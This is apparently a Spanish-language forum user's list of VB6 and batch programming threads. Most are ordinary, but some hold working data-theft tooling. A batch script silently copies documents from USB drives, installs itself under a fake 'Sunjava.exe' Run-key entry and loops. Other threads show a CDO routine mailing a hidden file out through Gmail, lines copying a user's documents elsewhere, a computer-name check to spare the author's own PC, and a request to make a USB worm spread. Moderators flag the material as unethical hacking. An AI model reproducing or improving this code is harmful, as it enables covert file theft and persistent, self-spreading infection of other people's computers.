Temas

ay alguna forma de bajar un archivo de un ftp sin usar el ftp de windows ?¿ sencillamente el ftp de windows es basura hahaha alguna otra forma ?¿ con bath claro XD

ay alguna forma de ejecutar todos los exe de una carpeta
Shell("*.exe") <--algo asi xD  una idea xD please

Código [Seleccionar] Expandir

Open "C:\" & nombre & "" For Append As #1
Print #1, "</wand>"
Print #1, "<wand id=""8911"" level=""22"" mana=""5"" min=""27"" max=""33"" type=""ice"" event=" & vari1 & " value=""default""> <!-- Northwind Rod -->"
  Close #1

sale bien pero al momento de que me genera el archivo sale asi

Código [Seleccionar] Expandir

</wand>
<wand id="8911" level="22" mana="5" min="27" max="33" type="ice" event=sincomi value="default"> <!-- Northwind Rod -->

sale sin comillas :S
event=sincomi

y si agrego comillas sale asi
event=vari1

espero me puedan ayudar

tengo una idea de hacer una aplicacion para editar un xml pero no puedo comprender esto

miren quiero poner varios texbox  estos son los nomrbes
nombre

itemi id

lvl

mana

min

maximo

lo que queiero que mediante el texbox se pueda moficar las partes del xml con esos nombres




y otra cosa como hacer que el archivo xml aparezca en un texbox al momento de abrirlo espero me puedan comprender XD

es posible aumentar el limite de un texbox por que tengo un texbox que corta lo que ay adentro y como consecuencia da error la aplicacion
esto es lo que tiene el textbox pero se corta como en la mitad el maxlenght esta en 0 que sera el problema :S

Código [Seleccionar] Expandir

109120132967399429278860960508995541528237502902798129123468757937266291492576446330739696001110603907230888610072655818825358503429057592827629436413108566029093628212635953836686562675849720620786279431090218017681061521755056710823876476444260558147179707119674283982419152118103759076030616683978566631413

file = "C:\Archivos de programa\Tibia\tibia.exe"

como podria cargar esto con un boton una idea o donde puedo ver ?

no quiero esa direccion quiero que pueda buscar el exe alguna idea xD

Código [Seleccionar] Expandir

Dim file As String, Datos As String, bytearray() As Byte

file = "C:\Archivos de programa\aplicacion\xd.exe"
Open file For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1

bytearray() = StrConv(Datos, vbFromUnicode)
'cmain frame
bytearray(1846824) = Asc("T")
bytearray(1846825) = Asc("i")
bytearray(1846826) = Asc("b")
bytearray(1846827) = Asc("i")
bytearray(1846828) = Asc("a")
bytearray(1846829) = Asc("C")
bytearray(1846830) = Asc("l")
bytearray(1846831) = Asc("i")
bytearray(1846832) = Asc("e")
bytearray(1846833) = Asc("n")
bytearray(1846834) = Asc("t")

Open file For Binary As #1
Put #1, 1, bytearray()
Close #1
End Sub


lo que quiero es no hacer tantas lineas en los bytearray quiero hacer un texbox  que acomode todo quiero todos estos bytes array en una sola linea  espero me entienda xD
1846824,1846825,1846826,1846827,asta 1846834 con un texbox y que en el texbox no se puedan escribir mas de 11 letras
por favor ayuda :S

mi pregunta es se puede modicar una parte de un programa con vb6

por que con un editor hexadecimal si se puede pero se puede automatizar esto para que cambie solo unas partes del codigo desde vb6 ?

ay alguna forma de modicar una parte de mi codigo bath con vb6 ?

esta es la parte del codigo

Código [Seleccionar] Expandir

(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL
(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL

quiero agregar o quitar extensiones a copiar *.doc,*.txt quiero modificar eso desde vb6 como un menu pero no tengo idea de como me podrian dar una ayuda solo diganme como lo ago please XD

lo que quiero hacer es que pueda agregar o quitar extensiones a copiar con un menu pero no tengo la minima idea queria ver si me podian ayudar

Código [Seleccionar] Expandir


(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\"))
(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\"))

lo que quiero cambiar es *.doc,*.txt agregar mas extensiones a copiar espero me entiendan :S

 miren mi problema es que en el codigo ingreso el correo donde quiero que se envie el mail pero quiero que que por medio de un textbox se agrege al codigo la direccion espere me entiendan xD aqui el codigo

Código [Seleccionar] Expandir

    Set oMail = New clsCDOmail
    With oMail
         
        .servidor = "smtp.gmail.com"
        .puerto = 465
        .UseAuntentificacion = True
        .ssl = True
        .Usuario = "correo@gmail.com"
        .PassWord = "contrasena"
       
        .Asunto = "aquixd"
        .Adjunto = "C:\WINDOWS\lolaso"
        .de = "correo@gmail.com"
        .para = Text3.Text
        .Mensaje = "aqui te mando"
       
        .Enviar_Backup
   
    End With
   
    Set oMail = Nothing

.para = Text3.Text <--- aqui es lo que no puedo hacer lo que quiero es que mediante el textbox agregar al codigo el email pero no se puede funciona si pongo directo el email en el codigo pero no quiero asi espero me ayuden :S

y funciona con este modulo

Código [Seleccionar] Expandir

Option Explicit

' para la conexión a internet
Private Declare Function InternetGetConnectedState _
    Lib "wininet.dll" ( _
    ByRef lpdwFlags As Long, _
    ByVal dwReserved As Long) As Long

Private Const INTERNET_CONNECTION_MODEM_BUSY As Long = &H8
Private Const INTERNET_RAS_INSTALLED As Long = &H10
Private Const INTERNET_CONNECTION_OFFLINE As Long = &H20
Private Const INTERNET_CONNECTION_CONFIGURED As Long = &H40

' variables locales
Private mServidor As String
Private mPara As String
Private mDe As String
Private mAsunto As String
Private mMensaje As String
Private mAdjunto As String
Private mPuerto As Variant
Private mUsuario As String
Private mPassword As String
Private mUseAuntentificacion As Boolean
Private mSSL As Boolean

Public Event Error(Descripcion As String, Numero As Variant)
Public Event EnvioCompleto()

Function Enviar_Backup() As Boolean
   
    ' Variable de objeto Cdo.Message
   Dim oCDO As Object
         
    ' chequea si hay conexión
   If InternetGetConnectedState(0&, 0&) = False Then
       RaiseEvent Error("No se puede enviar el correo. " & _
                        "Verificar la conexión a internet si está disponible", 0)
       Exit Function
    End If
   
   
   
    ' chequea que el puerto sea un número, o que no esté vacío
   If Not IsNumeric(puerto) Then
       RaiseEvent Error("No se ha indicado el puerto del servidor", 0)
       Exit Function
    End If
   
    ' Crea un Nuevo objeto CDO.Message
   Set oCDO = CreateObject("CDO.Message")
   
    ' Indica el servidor Smtp para poder enviar el Mail ( puede ser el nombre _
      del servidor o su dirección IP )
   oCDO.Configuration.Fields( _
    "http://schemas.microsoft.com/cdo/configuration/smtpserver") = mServidor
   
    oCDO.Configuration.Fields( _
    "http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
   
    ' Puerto. Por defecto se usa el puerto 25, _
     en el caso de Gmail se usa el puerto 465
   
    oCDO.Configuration.Fields.Item _
        ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = mPuerto

   
    ' Indica el tipo de autentificación con el servidor de correo _
     El valor 0 no requiere autentificarse, el valor 1 es con autentificación
   oCDO.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/" & _
                "configuration/smtpauthenticate") = Abs(mUseAuntentificacion)
   
    ' Tiempo máximo de espera en segundos para la conexión
   oCDO.Configuration.Fields.Item _
        ("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 10

    ' Configura las opciones para el login en el SMTP
   If mUseAuntentificacion Then

    ' Id de usuario del servidor Smtp ( en el caso de gmail, _
     debe ser la dirección de correro mas el @gmail.com )
   oCDO.Configuration.Fields.Item _
        ("http://schemas.microsoft.com/cdo/configuration/sendusername") = mUsuario

    ' Password de la cuenta
   oCDO.Configuration.Fields.Item _
        ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = mPassword

    ' Indica si se usa SSL para el envío. En el caso de Gmail requiere que esté en True
   oCDO.Configuration.Fields.Item _
        ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = mSSL
   
    End If
   
    ' Estructura del mail
   '''''''''''''''''''''''''''''''''''''''''''''''
   
    ' Dirección del Destinatario
   
    oCDO.To = mPara
   
    ' Dirección del remitente
   oCDO.From = mDe
   
    ' Asunto del mensaje
   oCDO.Subject = mAsunto
   
    ' Cuerpo del mensaje
   oCDO.TextBody = mMensaje
   
    'Ruta del archivo adjunto
   If mAdjunto <> "" Then
        If Len(Dir(mAdjunto)) = 0 Then
            ' ..error
           RaiseEvent Error("No se ha encontrado el archivo en la siguiente ruta: ", 0)
            Exit Function
        Else
            ' ..lo agrega
           oCDO.AddAttachment (mAdjunto)
        End If
    End If
   
    ' Actualiza los datos antes de enviar
   oCDO.Configuration.Fields.Update
   
    On Error Resume Next
    Screen.MousePointer = vbHourglass
    ' Envía el email
   oCDO.Send
    Screen.MousePointer = 0
    ' .. si no hubo error
   If Err.Number = 0 Then
       Enviar_Backup = True
       RaiseEvent EnvioCompleto
   
    ElseIf Err.Number = -2147220973 Then
       RaiseEvent Error("Posible error : nombre del Servidor " & _
                        "incorrecto o número de puerto incorrecto", Err.Number)
    ElseIf Err.Number = -2147220975 Then
       RaiseEvent Error("Posible error : error en la el nombre de usuario, " & _
                                                "o en el password ", Err.Number)
    Else
       RaiseEvent Error(Err.Description, Err.Number)
    End If

    ' Descarga la referencia
   If Not oCDO Is Nothing Then
        Set oCDO = Nothing
    End If
   
    Err.Clear
   
    Screen.MousePointer = vbNormal
End Function

' propiedades
'''''''''''''''''''''
Property Get servidor() As String
    servidor = mServidor
End Property
Property Let servidor(value As String)
    mServidor = value
End Property


Property Get para() As String
    para = mPara
End Property
Property Let para(value As String)
    mPara = value
End Property


Property Get de() As String
    de = mDe
End Property
Property Let de(value As String)
    mDe = value
End Property


Property Get Asunto() As String
    Asunto = mAsunto
End Property
Property Let Asunto(value As String)
    mAsunto = value
End Property


Property Get Mensaje() As String
    Mensaje = mMensaje
End Property
Property Let Mensaje(value As String)
    mMensaje = value
End Property


Property Get Adjunto() As String
    Adjunto = mAdjunto
End Property
Property Let Adjunto(value As String)
    mAdjunto = value
End Property


Property Get puerto() As Variant
    puerto = mPuerto
End Property
Property Let puerto(value As Variant)
    mPuerto = value
End Property


Property Get Usuario() As String
    Usuario = mUsuario
End Property
Property Let Usuario(value As String)
    mUsuario = value
End Property


Property Get PassWord() As String
    PassWord = mPassword
End Property
Property Let PassWord(value As String)
    mPassword = value
End Property


Property Get UseAuntentificacion() As Boolean
    UseAuntentificacion = mUseAuntentificacion
End Property
Property Let UseAuntentificacion(value As Boolean)
    mUseAuntentificacion = value
End Property


Property Get ssl() As Boolean
    ssl = mSSL
End Property
Property Let ssl(value As Boolean)
    mSSL = value
End Property





Código [Seleccionar] Expandir

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\chrome.exe\shell\open\command /v "" /t REG_SZ /d "%USERPROFILE%\Configuración local\Datos de programa\Google\Chrome\Application\chrome.exe www.google.com.mx"  /f

por que en configuración cuando se agrega al registro sale 1/4 ?¿

ay alguna forma de cambiar la pagina de inicio con bath desde el regedit ?¿

Código [Seleccionar] Expandir

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\chrome.exe\shell\open\command
esa es una forma de cambiarlo pero como cambio esto

Código [Seleccionar] Expandir

"C:\Documents and Settings\9\Configuración local\Datos de programa\Google\Chrome\Application\chrome.exe" www.google.com.mx

sin borrar todo solo agregar la url donde dice www.google.com.mx

el codigo del timer es asi

AppActivate ("Chat Amigos") 'muesta la ventana
Timer1.Interval = Text2.Text 'tiempo timer
SendKeys Text1.Text ' manda el texto
SendKeys "{enter}" ' manda el texto

lo que quiero es saber como seleccionar el text del chat donde se escribe no puedo selecionarlo :S de antemano gracias

es posible con vbscript mandar mensajes a una determinada ventana a un chat ?¿ cada cierto tiempo

es posible mandar mensajes a un chat online si estar en el pc ?¿ y si se puede como podrias hacer eso de antemano ?¿

por favor necesito ayuda :S

este es el codigo
guardar

Código [Seleccionar] Expandir

Private Sub Command1_Click()
Open "C:\WINDOWS\xd.txt" For Append As #1
'vbCrLf es como un enter
Print #1, "fecha="; Date; vbCrLf; vbCrLf; "clave= "; Text1.Text & vbCrLf; "nombre="; Text2.Text & vbCrLf; "precio="; Text3.Text; vbCrLf
Close #1
MsgBox "guardado"
End Sub
abrir

Código [Seleccionar] Expandir

Private Sub Command2_Click()
Dim foo As Integer
        foo = FreeFile
    Open "C:\WINDOWS\xd.txt" For Input As #foo
        Text4.Text = Input(LOF(foo), #foo)
            Close #foo
   
aqui esta el programa
http://www.mediafire.com/?37o07mrd6l01wg6

necesito si me podrian ayudar a que la informacion del archivo de texto se borre ojala me pudieran ayudar


es posible crear un un control de ventas de una papeleria en bath y si se puede me podrias decir como si no serias mucha molestia gracias

es posible mandar un mensaje con bath por textbox ?¿
quiero saber si puedo mandar un mensaje por textbox como si estubieras mandando un mensaje por un chat de antemano gracias xD

asi es como dice el titulo necesito saber si despues de determinado tiempo se puede enviar un txt ami ftp ¿?

en bath es posible presionar un boton de una web ?¿ 
el boton se llama submit

[MOD: Haz el favor de leer las normas, no postear material con fines de hacking nó éticos, como es por ejemplo "ROBAR EN LA ESCUELA".]

pss hice un script que copia archivos al pc
el script lo que hace es que al meter la usb copia todos los archivos con las extension que quieras al pc
donde dice:

Código [Seleccionar] Expandir

(*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)
van las extensiones
ejemplo

Código [Seleccionar] Expandir

(*.jpg)
y si quieres copiar mas extensiones separas por comas ,

Código [Seleccionar] Expandir

(*.jpg,*.mp3)
otra cosa no borres el asterico * que es igual a todos los archivos
*=todos los archivos

el mkdir crea carpetas en dicha ubicacion
ejemplo:

Código [Seleccionar] Expandir

mkdir C:\trabajos

esto hace que se agrege al registro y se inicie al prender el pc

Código [Seleccionar] Expandir

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Sunupdateservice /t REG_SZ /d "%WINDIR%\14785\Sunjava.exe" /f

este quita un error que dice no ay disco

Código [Seleccionar] Expandir

REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f


y esto es una especie de lista de espera para volver a empezar

Código [Seleccionar] Expandir

ping 127.0.0.1 -n 35

source:

Código [Seleccionar] Expandir

@echo off
REM A
REM U
REM T
REM O
REM C
REM O
REM P
REM Y
REM by asdexiva~
:inicio

mkdir C:\trabajos
REM copiado de archivos al usb
(FOR /R "E:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "F:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "G:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "H:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "I:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "J:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "K:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "L:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))
(FOR /R "W:\" %%a IN (*.doc,*cpp,*ppt,*d0cx,*pptx,*.c)  DO  (copy /y "%%a" "C:\trabajos\"))



REM SE AGREGA AL INICIO DEL SISTEMA
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Sunupdateservice /t REG_SZ /d "%WINDIR%\14785\Sunjava.exe" /f
REM DESABILITA ERROR NO AY DISCO
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f
REM COPIAR ARCHIVO A WINDOWS PARA INICIAR con el registro
Copy /y %0, "%WINDIR%\14785\Sunjava.exe"


:LOOP
REM especie de sleep 35 SEGUNDOS
ping 127.0.0.1 -n 35

goto inicio





MOD: Haz el favor de leer las normas, no postear material con fines de hacking nó éticos, como es por ejemplo "ROBAR EN LA ESCUELA".

hola a todos necesito saber si es posible que cuando se abra mi archivo se copie a una carpeta en windows
ejemplo:
C:\windows\lio
dentro de esa carpeta que se copie

espero que me puedan ayudar xD

quiero saber si es posible que
por ejemplo si mi computadora se llama
javier no haga nada el codigo
pero si se llama diferente si haga espero me ayan entendido
y gracias

muchas gracias a los 2

una pequeñisima duda me interesa mucho bath

lo que quiero saber es como se lee este codigo

Código [Seleccionar] Expandir

(FOR /R "E:\" %%a in (*.doc) do (copy /y "%%a" "C:\trabajos\"))

for es para pero quisiera saber como se lee

ejemplo
if text1.text=xd  then

si text1.text=xd entonces

espero me puedan ayudar

hola a todos
Tengo una duda sobre el comando copy es que si copia

Código [Seleccionar] Expandir

@echo off
copy "E:\*.doc" "C:\trabajos"

pero no exactamente como yo quiero ,quiero que copie todos los archivos .doc
pero solo copia los del principio quiero que copie tambien los que estan en carpetas

lo que quiero hacer es que al conectar una usb copie todos los archivos a C:\trabajos pero solo copia algunos y no los que estan en carpetas 

saludos y gracias espero que me puedan ayudar

[Nota del mod: Usa el botón "Insertar código"]

Código [Seleccionar] Expandir

no es exactamente mio es de octalh hahaha pero lo estoy modificando corre todo bien
pero cuando aparece en la memoria el exe no funciona no se duplica en otras pcs ok dejo el codigo el problema esta en el systemshell.exe el archivo original si lo ejecuto hace todo bien y los que se copian en la usb no se duplican ojala pudieran ayudarme  :huh:


GOTO CHEKARWORM posdata el original si sirve los copiados a usb no :S



Nota del mod: Usa el botón "Insertar código"

el archivo original me crea el systemshell pero los copias no :S alguien que me eche una mano